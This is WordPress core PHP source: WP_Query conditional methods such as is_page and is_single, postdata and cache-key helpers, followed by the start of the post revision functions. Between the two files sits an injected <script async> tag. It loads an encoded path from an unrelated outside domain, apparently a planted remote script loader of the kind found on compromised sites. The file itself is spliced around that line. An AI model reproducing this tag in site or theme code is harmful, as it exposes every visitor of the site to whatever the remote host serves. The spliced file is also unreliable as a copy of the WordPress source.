	 * @param string|array $query URL query string or array of vars.
	 */
	public function __construct( $query = '' ) {
		if ( ! empty( $query ) ) {
			$this->query( $query );
		}
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return $this->$name;
		}
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return isset( $this->$name );
		}
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( in_array( $name, $this->compat_methods, true ) ) {
			return $this->$name( ...$arguments );
		}
		return false;
	}

	/**
	 * Determines whether the query is for an existing archive page.
	 *
	 * Archive pages include category, tag, author, date, custom post type,
	 * and custom taxonomy based archives.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_Query::is_category()
	 * @see WP_Query::is_tag()
	 * @see WP_Query::is_author()
	 * @see WP_Query::is_date()
	 * @see WP_Query::is_post_type_archive()
	 * @see WP_Query::is_tax()
	 *
	 * @return bool Whether the query is for an existing archive page.
	 */
	public function is_archive() {
		return (bool) $this->is_archive;
	}

	/**
	 * Determines whether the query is for an existing post type archive page.
	 *
	 * @since 3.1.0
	 *
	 * @param string|string[] $post_types Optional. Post type or array of posts types
	 *                                    to check against. Default empty.
	 * @return bool Whether the query is for an existing post type archive page.
	 */
	public function is_post_type_archive( $post_types = '' ) {
		if ( empty( $post_types ) || ! $this->is_post_type_archive ) {
			return (bool) $this->is_post_type_archive;
		}

		$post_type = $this->get( 'post_type' );
		if ( is_array( $post_type ) ) {
			$post_type = reset( $post_type );
		}
		$post_type_object = get_post_type_object( $post_type );

		if ( ! $post_type_object ) {
			return false;
		}

		return in_array( $post_type_object->name, (array) $post_types, true );
	}

	/**
	 * Determines whether the query is for an existing attachment page.
	 *
	 * @since 3.1.0
	 *
	 * @param int|string|int[]|string[] $attachment Optional. Attachment ID, title, slug, or array of such
	 *                                              to check against. Default empty.
	 * @return bool Whether the query is for an existing attachment page.
	 */
	public function is_attachment( $attachment = '' ) {
		if ( ! $this->is_attachment ) {
			return false;
		}

		if ( empty( $attachment ) ) {
			return true;
		}

		$attachment = array_map( 'strval', (array) $attachment );

		$post_obj = $this->get_queried_object();
		if ( ! $post_obj ) {
			return false;
		}

		if ( in_array( (string) $post_obj->ID, $attachment, true ) ) {
			return true;
		} elseif ( in_array( $post_obj->post_title, $attachment, true ) ) {
			return true;
		} elseif ( in_array( $post_obj->post_name, $attachment, true ) ) {
			return true;
		}
		return false;
	}

	/**
	 * Determines whether the query is for an existing author archive page.
	 *
	 * If the $author parameter is specified, this function will additionally
	 * check if the query is for one of the authors specified.
	 *
	 * @since 3.1.0
	 *
	 * @param int|string|int[]|string[] $author Optional. User ID, nickname, nicename, or array of such
	 *                                          to check against. Default empty.
	 * @return bool Whether the query is for an existing author archive page.
	 */
	public function is_author( $author = '' ) {
		if ( ! $this->is_author ) {
			return false;
		}

		if ( empty( $author ) ) {
			return true;
		}

		$author_obj = $this->get_queried_object();
		if ( ! $author_obj ) {
			return false;
		}

		$author = array_map( 'strval', (array) $author );

		if ( in_array( (string) $author_obj->ID, $author, true ) ) {
			return true;
		} elseif ( in_array( $author_obj->nickname, $author, true ) ) {
			return true;
		} elseif ( in_array( $author_obj->user_nicename, $author, true ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Determines whether the query is for an existing category archive page.
	 *
	 * If the $category parameter is specified, this function will additionally
	 * check if the query is for one of the categories specified.
	 *
	 * @since 3.1.0
	 *
	 * @param int|string|int[]|string[] $category Optional. Category ID, name, slug, or array of such
	 *                                            to check against. Default empty.
	 * @return bool Whether the query is for an existing category archive page.
	 */
	public function is_category( $category = '' ) {
		if ( ! $this->is_category ) {
			return false;
		}

		if ( empty( $category ) ) {
			return true;
		}

		$cat_obj = $this->get_queried_object();
		if ( ! $cat_obj ) {
			return false;
		}

		$category = array_map( 'strval', (array) $category );

		if ( in_array( (string) $cat_obj->term_id, $category, true ) ) {
			return true;
		} elseif ( in_array( $cat_obj->name, $category, true ) ) {
			return true;
		} elseif ( in_array( $cat_obj->slug, $category, true ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Determines whether the query is for an existing tag archive page.
	 *
	 * If the $tag parameter is specified, this function will additionally
	 * check if the query is for one of the tags specified.
	 *
	 * @since 3.1.0
	 *
	 * @param int|string|int[]|string[] $tag Optional. Tag ID, name, slug, or array of such
	 *                                       to check against. Default empty.
	 * @return bool Whether the query is for an existing tag archive page.
	 */
	public function is_tag( $tag = '' ) {
		if ( ! $this->is_tag ) {
			return false;
		}

		if ( empty( $tag ) ) {
			return true;
		}

		$tag_obj = $this->get_queried_object();
		if ( ! $tag_obj ) {
			return false;
		}

		$tag = array_map( 'strval', (array) $tag );

		if ( in_array( (string) $tag_obj->term_id, $tag, true ) ) {
			return true;
		} elseif ( in_array( $tag_obj->name, $tag, true ) ) {
			return true;
		} elseif ( in_array( $tag_obj->slug, $tag, true ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Determines whether the query is for an existing custom taxonomy archive page.
	 *
	 * If the $taxonomy parameter is specified, this function will additionally
	 * check if the query is for that specific $taxonomy.
	 *
	 * If the $term parameter is specified in addition to the $taxonomy parameter,
	 * this function will additionally check if the query is for one of the terms
	 * specified.
	 *
	 * @since 3.1.0
	 *
	 * @global WP_Taxonomy[] $wp_taxonomies Registered taxonomies.
	 *
	 * @param string|string[]           $taxonomy Optional. Taxonomy slug or slugs to check against.
	 *                                            Default empty.
	 * @param int|string|int[]|string[] $term     Optional. Term ID, name, slug, or array of such
	 *                                            to check against. Default empty.
	 * @return bool Whether the query is for an existing custom taxonomy archive page.
	 *              True for custom taxonomy archive pages, false for built-in taxonomies
	 *              (category and tag archives).
	 */
	public function is_tax( $taxonomy = '', $term = '' ) {
		global $wp_taxonomies;

		if ( ! $this->is_tax ) {
			return false;
		}

		if ( empty( $taxonomy ) ) {
			return true;
		}

		$queried_object = $this->get_queried_object();
		$tax_array      = array_intersect( array_keys( $wp_taxonomies ), (array) $taxonomy );
		$term_array     = (array) $term;

		// Check that the taxonomy matches.
		if ( ! ( isset( $queried_object->taxonomy ) && count( $tax_array ) && in_array( $queried_object->taxonomy, $tax_array, true ) ) ) {
			return false;
		}

		// Only a taxonomy provided.
		if ( empty( $term ) ) {
			return true;
		}

		return isset( $queried_object->term_id ) &&
			count(
				array_intersect(
					array( $queried_object->term_id, $queried_object->name, $queried_object->slug ),
					$term_array
				)
			);
	}

	/**
	 * Determines whether the current URL is within the comments popup window.
	 *
	 * @since 3.1.0
	 * @deprecated 4.5.0
	 *
	 * @return false Always returns false.
	 */
	public function is_comments_popup() {
		_deprecated_function( __FUNCTION__, '4.5.0' );

		return false;
	}

	/**
	 * Determines whether the query is for an existing date archive.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for an existing date archive.
	 */
	public function is_date() {
		return (bool) $this->is_date;
	}

	/**
	 * Determines whether the query is for an existing day archive.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for an existing day archive.
	 */
	public function is_day() {
		return (bool) $this->is_day;
	}

	/**
	 * Determines whether the query is for a feed.
	 *
	 * @since 3.1.0
	 *
	 * @param string|string[] $feeds Optional. Feed type or array of feed types
	 *                                         to check against. Default empty.
	 * @return bool Whether the query is for a feed.
	 */
	public function is_feed( $feeds = '' ) {
		if ( empty( $feeds ) || ! $this->is_feed ) {
			return (bool) $this->is_feed;
		}

		$qv = $this->get( 'feed' );
		if ( 'feed' === $qv ) {
			$qv = get_default_feed();
		}

		return in_array( $qv, (array) $feeds, true );
	}

	/**
	 * Determines whether the query is for a comments feed.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for a comments feed.
	 */
	public function is_comment_feed() {
		return (bool) $this->is_comment_feed;
	}

	/**
	 * Determines whether the query is for the front page of the site.
	 *
	 * This is for what is displayed at your site's main URL.
	 *
	 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
	 *
	 * If you set a static page for the front page of your site, this function will return
	 * true when viewing that page.
	 *
	 * Otherwise the same as {@see WP_Query::is_home()}.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for the front page of the site.
	 */
	public function is_front_page() {
		// Most likely case.
		if ( 'posts' === get_option( 'show_on_front' ) && $this->is_home() ) {
			return true;
		} elseif ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' )
			&& $this->is_page( get_option( 'page_on_front' ) )
		) {
			return true;
		} else {
			return false;
		}
	}

	/**
	 * Determines whether the query is for the blog homepage.
	 *
	 * This is the page which shows the time based blog content of your site.
	 *
	 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_for_posts'.
	 *
	 * If you set a static page for the front page of your site, this function will return
	 * true only on the page you set as the "Posts page".
	 *
	 * @since 3.1.0
	 *
	 * @see WP_Query::is_front_page()
	 *
	 * @return bool Whether the query is for the blog homepage.
	 */
	public function is_home() {
		return (bool) $this->is_home;
	}

	/**
	 * Determines whether the query is for the Privacy Policy page.
	 *
	 * This is the page which shows the Privacy Policy content of your site.
	 *
	 * Depends on the site's "Change your Privacy Policy page" Privacy Settings 'wp_page_for_privacy_policy'.
	 *
	 * This function will return true only on the page you set as the "Privacy Policy page".
	 *
	 * @since 5.2.0
	 *
	 * @return bool Whether the query is for the Privacy Policy page.
	 */
	public function is_privacy_policy() {
		if ( get_option( 'wp_page_for_privacy_policy' )
			&& $this->is_page( get_option( 'wp_page_for_privacy_policy' ) )
		) {
			return true;
		} else {
			return false;
		}
	}

	/**
	 * Determines whether the query is for an existing month archive.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for an existing month archive.
	 */
	public function is_month() {
		return (bool) $this->is_month;
	}

	/**
	 * Determines whether the query is for an existing single page.
	 *
	 * If the $page parameter is specified, this function will additionally
	 * check if the query is for one of the pages specified.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_Query::is_single()
	 * @see WP_Query::is_singular()
	 *
	 * @param int|string|int[]|string[] $page Optional. Page ID, title, slug, path, or array of such
	 *                                        to check against. Default empty.
	 * @return bool Whether the query is for an existing single page.
	 */
	public function is_page( $page = '' ) {
		if ( ! $this->is_page ) {
			return false;
		}

		if ( empty( $page ) ) {
			return true;
		}

		$page_obj = $this->get_queried_object();
		if ( ! $page_obj ) {
			return false;
		}

		$page = array_map( 'strval', (array) $page );

		if ( in_array( (string) $page_obj->ID, $page, true ) ) {
			return true;
		} elseif ( in_array( $page_obj->post_title, $page, true ) ) {
			return true;
		} elseif ( in_array( $page_obj->post_name, $page, true ) ) {
			return true;
		} else {
			foreach ( $page as $pagepath ) {
				if ( ! strpos( $pagepath, '/' ) ) {
					continue;
				}
				$pagepath_obj = get_page_by_path( $pagepath );

				if ( $pagepath_obj && ( $pagepath_obj->ID == $page_obj->ID ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Determines whether the query is for a paged result and not for the first page.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for a paged result.
	 */
	public function is_paged() {
		return (bool) $this->is_paged;
	}

	/**
	 * Determines whether the query is for a post or page preview.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for a post or page preview.
	 */
	public function is_preview() {
		return (bool) $this->is_preview;
	}

	/**
	 * Determines whether the query is for the robots.txt file.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for the robots.txt file.
	 */
	public function is_robots() {
		return (bool) $this->is_robots;
	}

	/**
	 * Determines whether the query is for the favicon.ico file.
	 *
	 * @since 5.4.0
	 *
	 * @return bool Whether the query is for the favicon.ico file.
	 */
	public function is_favicon() {
		return (bool) $this->is_favicon;
	}

	/**
	 * Determines whether the query is for a search.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for a search.
	 */
	public function is_search() {
		return (bool) $this->is_search;
	}

	/**
	 * Determines whether the query is for an existing single post.
	 *
	 * Works for any post type excluding pages.
	 *
	 * If the $post parameter is specified, this function will additionally
	 * check if the query is for one of the Posts specified.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_Query::is_page()
	 * @see WP_Query::is_singular()
	 *
	 * @param int|string|int[]|string[] $post Optional. Post ID, title, slug, path, or array of such
	 *                                        to check against. Default empty.
	 * @return bool Whether the query is for an existing single post.
	 */
	public function is_single( $post = '' ) {
		if ( ! $this->is_single ) {
			return false;
		}

		if ( empty( $post ) ) {
			return true;
		}

		$post_obj = $this->get_queried_object();
		if ( ! $post_obj ) {
			return false;
		}

		$post = array_map( 'strval', (array) $post );

		if ( in_array( (string) $post_obj->ID, $post, true ) ) {
			return true;
		} elseif ( in_array( $post_obj->post_title, $post, true ) ) {
			return true;
		} elseif ( in_array( $post_obj->post_name, $post, true ) ) {
			return true;
		} else {
			foreach ( $post as $postpath ) {
				if ( ! strpos( $postpath, '/' ) ) {
					continue;
				}
				$postpath_obj = get_page_by_path( $postpath, OBJECT, $post_obj->post_type );

				if ( $postpath_obj && ( $postpath_obj->ID == $post_obj->ID ) ) {
					return true;
				}
			}
		}
		return false;
	}

	/**
	 * Determines whether the query is for an existing single post of any post type
	 * (post, attachment, page, custom post types).
	 *
	 * If the $post_types parameter is specified, this function will additionally
	 * check if the query is for one of the Posts Types specified.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_Query::is_page()
	 * @see WP_Query::is_single()
	 *
	 * @param string|string[] $post_types Optional. Post type or array of post types
	 *                                    to check against. Default empty.
	 * @return bool Whether the query is for an existing single post
	 *              or any of the given post types.
	 */
	public function is_singular( $post_types = '' ) {
		if ( empty( $post_types ) || ! $this->is_singular ) {
			return (bool) $this->is_singular;
		}

		$post_obj = $this->get_queried_object();
		if ( ! $post_obj ) {
			return false;
		}

		return in_array( $post_obj->post_type, (array) $post_types, true );
	}

	/**
	 * Determines whether the query is for a specific time.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for a specific time.
	 */
	public function is_time() {
		return (bool) $this->is_time;
	}

	/**
	 * Determines whether the query is for a trackback endpoint call.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for a trackback endpoint call.
	 */
	public function is_trackback() {
		return (bool) $this->is_trackback;
	}

	/**
	 * Determines whether the query is for an existing year archive.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for an existing year archive.
	 */
	public function is_year() {
		return (bool) $this->is_year;
	}

	/**
	 * Determines whether the query is a 404 (returns no results).
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is a 404 error.
	 */
	public function is_404() {
		return (bool) $this->is_404;
	}

	/**
	 * Determines whether the query is for an embedded post.
	 *
	 * @since 4.4.0
	 *
	 * @return bool Whether the query is for an embedded post.
	 */
	public function is_embed() {
		return (bool) $this->is_embed;
	}

	/**
	 * Determines whether the query is the main query.
	 *
	 * @since 3.3.0
	 *
	 * @global WP_Query $wp_the_query WordPress Query object.
	 *
	 * @return bool Whether the query is the main query.
	 */
	public function is_main_query() {
		global $wp_the_query;
		return $wp_the_query === $this;
	}

	/**
	 * Sets up global post data.
	 *
	 * @since 4.1.0
	 * @since 4.4.0 Added the ability to pass a post ID to `$post`.
	 *
	 * @global int     $id
	 * @global WP_User $authordata
	 * @global string  $currentday
	 * @global string  $currentmonth
	 * @global int     $page
	 * @global array   $pages
	 * @global int     $multipage
	 * @global int     $more
	 * @global int     $numpages
	 *
	 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
	 * @return true True when finished.
	 */
	public function setup_postdata( $post ) {
		global $id, $authordata, $currentday, $currentmonth, $page, $pages, $multipage, $more, $numpages;

		if ( ! ( $post instanceof WP_Post ) ) {
			$post = get_post( $post );
		}

		if ( ! $post ) {
			return;
		}

		$elements = $this->generate_postdata( $post );
		if ( false === $elements ) {
			return;
		}

		$id           = $elements['id'];
		$authordata   = $elements['authordata'];
		$currentday   = $elements['currentday'];
		$currentmonth = $elements['currentmonth'];
		$page         = $elements['page'];
		$pages        = $elements['pages'];
		$multipage    = $elements['multipage'];
		$more         = $elements['more'];
		$numpages     = $elements['numpages'];

		/**
		 * Fires once the post data has been set up.
		 *
		 * @since 2.8.0
		 * @since 4.1.0 Introduced `$query` parameter.
		 *
		 * @param WP_Post  $post  The Post object (passed by reference).
		 * @param WP_Query $query The current Query object (passed by reference).
		 */
		do_action_ref_array( 'the_post', array( &$post, &$this ) );

		return true;
	}

	/**
	 * Generates post data.
	 *
	 * @since 5.2.0
	 *
	 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
	 * @return array|false Elements of post or false on failure.
	 */
	public function generate_postdata( $post ) {

		if ( ! ( $post instanceof WP_Post ) ) {
			$post = get_post( $post );
		}

		if ( ! $post ) {
			return false;
		}

		$id = (int) $post->ID;

		$authordata = get_userdata( $post->post_author );

		$currentday   = false;
		$currentmonth = false;

		$post_date = $post->post_date;
		if ( ! empty( $post_date ) && '0000-00-00 00:00:00' !== $post_date ) {
			// Avoid using mysql2date for performance reasons.
			$currentmonth = substr( $post_date, 5, 2 );
			$day          = substr( $post_date, 8, 2 );
			$year         = substr( $post_date, 2, 2 );

			$currentday = sprintf( '%s.%s.%s', $day, $currentmonth, $year );
		}

		$numpages  = 1;
		$multipage = 0;
		$page      = $this->get( 'page' );
		if ( ! $page ) {
			$page = 1;
		}

		/*
		 * Force full post content when viewing the permalink for the $post,
		 * or when on an RSS feed. Otherwise respect the 'more' tag.
		 */
		if ( get_queried_object_id() === $post->ID && ( $this->is_page() || $this->is_single() ) ) {
			$more = 1;
		} elseif ( $this->is_feed() ) {
			$more = 1;
		} else {
			$more = 0;
		}

		$content = $post->post_content;
		if ( str_contains( $content, '<!--nextpage-->' ) ) {
			$content = str_replace( "\n<!--nextpage-->\n", '<!--nextpage-->', $content );
			$content = str_replace( "\n<!--nextpage-->", '<!--nextpage-->', $content );
			$content = str_replace( "<!--nextpage-->\n", '<!--nextpage-->', $content );

			// Remove the nextpage block delimiters, to avoid invalid block structures in the split content.
			$content = str_replace( '<!-- wp:nextpage -->', '', $content );
			$content = str_replace( '<!-- /wp:nextpage -->', '', $content );

			// Ignore nextpage at the beginning of the content.
			if ( str_starts_with( $content, '<!--nextpage-->' ) ) {
				$content = substr( $content, 15 );
			}

			$pages = explode( '<!--nextpage-->', $content );
		} else {
			$pages = array( $post->post_content );
		}

		/**
		 * Filters the "pages" derived from splitting the post content.
		 *
		 * "Pages" are determined by splitting the post content based on the presence
		 * of `<!-- nextpage -->` tags.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $pages Array of "pages" from the post content split by `<!-- nextpage -->` tags.
		 * @param WP_Post  $post  Current post object.
		 */
		$pages = apply_filters( 'content_pagination', $pages, $post );

		$numpages = count( $pages );

		if ( $numpages > 1 ) {
			if ( $page > 1 ) {
				$more = 1;
			}
			$multipage = 1;
		} else {
			$multipage = 0;
		}

		$elements = compact( 'id', 'authordata', 'currentday', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages' );

		return $elements;
	}

	/**
	 * Generates cache key.
	 *
	 * @since 6.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array  $args Query arguments.
	 * @param string $sql  SQL statement.
	 * @return string Cache key.
	 */
	protected function generate_cache_key( array $args, $sql ) {
		global $wpdb;

		unset(
			$args['cache_results'],
			$args['fields'],
			$args['lazy_load_term_meta'],
			$args['update_post_meta_cache'],
			$args['update_post_term_cache'],
			$args['update_menu_item_cache'],
			$args['suppress_filters']
		);

		if ( empty( $args['post_type'] ) ) {
			if ( $this->is_attachment ) {
				$args['post_type'] = 'attachment';
			} elseif ( $this->is_page ) {
				$args['post_type'] = 'page';
			} else {
				$args['post_type'] = 'post';
			}
		} elseif ( 'any' === $args['post_type'] ) {
			$args['post_type'] = array_values( get_post_types( array( 'exclude_from_search' => false ) ) );
		}
		$args['post_type'] = (array) $args['post_type'];
		// Sort post types to ensure same cache key generation.
		sort( $args['post_type'] );

		if ( isset( $args['post_status'] ) ) {
			$args['post_status'] = (array) $args['post_status'];
			// Sort post status to ensure same cache key generation.
			sort( $args['post_status'] );
		}

		// Add a default orderby value of date to ensure same cache key generation.
		if ( ! isset( $q['orderby'] ) ) {
			$args['orderby'] = 'date';
		}

		$placeholder = $wpdb->placeholder_escape();
		array_walk_recursive(
			$args,
			/*
			 * Replace wpdb placeholders with the string used in the database
			 * query to avoid unreachable cache keys. This is necessary because
			 * the placeholder is randomly generated in each request.
			 *
			 * $value is passed by reference to allow it to be modified.
			 * array_walk_recursive() does not return an array.
			 */
			static function ( &$value ) use ( $wpdb, $placeholder ) {
				if ( is_string( $value ) && str_contains( $value, $placeholder ) ) {
					$value = $wpdb->remove_placeholder_escape( $value );
				}
			}
		);

		ksort( $args );

		// Replace wpdb placeholder in the SQL statement used by the cache key.
		$sql = $wpdb->remove_placeholder_escape( $sql );
		$key = md5( serialize( $args ) . $sql );

		$last_changed = wp_cache_get_last_changed( 'posts' );
		if ( ! empty( $this->tax_query->queries ) ) {
			$last_changed .= wp_cache_get_last_changed( 'terms' );
		}

		return "wp_query:$key:$last_changed";
	}

	/**
	 * After looping through a nested query, this function
	 * restores the $post global to the current post in this query.
	 *
	 * @since 3.7.0
	 *
	 * @global WP_Post $post Global post object.
	 */
	public function reset_postdata() {
		if ( ! empty( $this->post ) ) {
			$GLOBALS['post'] = $this->post;
			$this->setup_postdata( $this->post );
		}
	}

	/**
	 * Lazyloads term meta for posts in the loop.
	 *
	 * @since 4.4.0
	 * @deprecated 4.5.0 See wp_queue_posts_for_term_meta_lazyload().
	 *
	 * @param mixed $check
	 * @param int   $term_id
	 * @return mixed
	 */
	public function lazyload_term_meta( $check, $term_id ) {
		_deprecated_function( __METHOD__, '4.5.0' );
		return $check;
	}

	/**
	 * Lazyloads comment meta for comments in the loop.
	 *
	 * @since 4.4.0
	 * @deprecated 4.5.0 See wp_lazyload_comment_meta().
	 *
	 * @param mixed $check
	 * @param int   $comment_id
	 * @return mixed
	 */
	public function lazyload_comment_meta( $check, $comment_id ) {
		_deprecated_function( __METHOD__, '4.5.0' );
		return $check;
	}
}
<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>
/**
 * Post revision functions.
 *
 * @package WordPress
 * @subpackage Post_Revisions
 */

/**
 * Determines which fields of posts are to be saved in revisions.
 *
 * @since 2.6.0
 * @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
 * @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
 * @access private
 *
 * @param array|WP_Post $post       Optional. A post array or a WP_Post object being processed
 *                                  for insertion as a post revision. Default empty array.
 * @param bool          $deprecated Not used.
 * @return string[] Array of fields that can be versioned.
 */
function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
	static $fields = null;

	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( is_null( $fields ) ) {
		// Allow these to be versioned.
		$fields = array(
			'post_title'   => __( 'Title' ),
			'post_content' => __( 'Content' ),
			'post_excerpt' => __( 'Excerpt' ),
		);
	}

	/**
	 * Filters the list of fields saved in post revisions.
	 *
	 * Included by default: 'post_title', 'post_content' and 'post_excerpt'.
	 *
	 * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
	 * 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
	 * and 'post_author'.
	 *
	 * @since 2.6.0
	 * @since 4.5.0 The `$post` parameter was added.
	 *
	 * @param string[] $fields List of fields to revision. Contains 'post_title',
	 *                         'post_content', and 'post_excerpt' by default.
	 * @param array    $post   A post array being processed for insertion as a post revision.
	 */
	$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );

	// WP uses these internally either in versioning or elsewhere - they cannot be versioned.
	foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
		unset( $fields[ $protect ] );
	}

	return $fields;
}

/**
 * Returns a post array ready to be inserted into the posts table as a post revision.
 *
 * @since 4.5.0
 * @access private
 *
 * @param array|WP_Post $post     Optional. A post array or a WP_Post object to be processed
 *                                for insertion as a post revision. Default empty array.
 * @param bool          $autosave Optional. Is the revision an autosave? Default false.
 * @return array Post array ready to be inserted as a post revision.
 */
function _wp_post_revision_data( $post = array(), $autosave = false ) {
	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	$fields = _wp_post_revision_fields( $post );

	$revision_data = array();

	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
		$revision_data[ $field ] = $post[ $field ];
	}

	$revision_data['post_parent']   = $post['ID'];
	$revision_data['post_status']   = 'inherit';
	$revision_data['post_type']     = 'revision';
	$revision_data['post_name']     = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version.
	$revision_data['post_date']     = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
	$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';

	return $revision_data;
}

/**
 * Saves revisions for a post after all changes have been made.
 *
 * @since 6.4.0
 *
 * @param int     $post_id The post id that was inserted.
 * @param WP_Post $post    The post object that was inserted.
 * @param bool    $update  Whether this insert is updating an existing post.
 */
function wp_save_post_revision_on_insert( $post_id, $post, $update ) {
	if ( ! $update ) {
		return;
	}

	if ( ! has_action( 'post_updated', 'wp_save_post_revision' ) ) {
		return;
	}

	wp_save_post_revision( $post_id );
}

/**
 * Creates a revision for the current version of a post.
 *
 * Typically used immediately after a post update, as every update is a revision,
 * and the most recent revision always matches the current post.
 *
 * @since 2.6.0
 *
 * @param int $post_id The ID of the post to save as a revision.
 * @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
 */
function wp_save_post_revision( $post_id ) {
	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
		return;
	}

	// Prevent saving post revisions if revisions should be saved on wp_after_insert_post.
	if ( doing_action( 'post_updated' ) && has_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert' ) ) {
		return;
	}

	$post = get_post( $post_id );

	if ( ! $post ) {
		return;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		return;
	}

	if ( 'auto-draft' === $post->post_status ) {
		return;
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return;
	}

	/*
	 * Compare the proposed update with the last stored revision verifying that
	 * they are different, unless a plugin tells us to always save regardless.
	 * If no previous revisions, save one.
	 */
	$revisions = wp_get_post_revisions( $post_id );
	if ( $revisions ) {
		// Grab the latest revision, but not an autosave.
		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
				$latest_revision = $revision;
				break;
			}
		}

		/**
		 * Filters whether the post has changed since the latest revision.
		 *
		 * By default a revision is saved only if one of the revisioned fields has changed.
		 * This filter can override that so a revision is saved even if nothing has changed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $check_for_changes Whether to check for changes before saving a new revision.
		 *                                   Default true.
		 * @param WP_Post $latest_revision   The latest revision post object.
		 * @param WP_Post $post              The post object.
		 */
		if ( isset( $latest_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $latest_revision, $post ) ) {
			$post_has_changed = false;

			foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
				if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $latest_revision->$field ) ) {
					$post_has_changed = true;
					break;
				}
			}

			/**
			 * Filters whether a post has changed.
			 *
			 * By default a revision is saved only if one of the revisioned fields has changed.
			 * This filter allows for additional checks to determine if there were changes.
			 *
			 * @since 4.1.0
			 *
			 * @param bool    $post_has_changed Whether the post has changed.
			 * @param WP_Post $latest_revision  The latest revision post object.
			 * @param WP_Post $post             The post object.
			 */
			$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $latest_revision, $post );

			// Don't save revision if post unchanged.
			if ( ! $post_has_changed ) {
				return;
			}
		}
	}

	$return = _wp_put_post_revision( $post );

	/*
	 * If a limit for the number of revisions to keep has been set,
	 * delete the oldest ones.
	 */
	$revisions_to_keep = wp_revisions_to_keep( $post );

	if ( $revisions_to_keep < 0 ) {
		return $return;
	}

	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );

	/**
	 * Filters the revisions to be considered for deletion.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_Post[] $revisions Array of revisions, or an empty array if none.
	 * @param int       $post_id   The ID of the post to save as a revision.
	 */
	$revisions = apply_filters(
		'wp_save_post_revision_revisions_before_deletion',
		$revisions,
		$post_id
	);

	$delete = count( $revisions ) - $revisions_to_keep;

	if ( $delete < 1 ) {
		return $return;
	}

	$revisions = array_slice( $revisions, 0, $delete );

	for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
		if ( str_contains( $revisions[ $i ]->post_name, 'autosave' ) ) {
			continue;
		}

		wp_delete_post_revision( $revisions[ $i ]->ID );
	}

	return $return;
}

/**
 * Retrieves the autosaved data of the specified post.
 *
 * Returns a post object with the information that was autosaved for the specified post.
 * If the optional $user_id is passed, returns the autosave for that user, otherwise
 * returns the latest autosave.
 *
 * @since 2.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
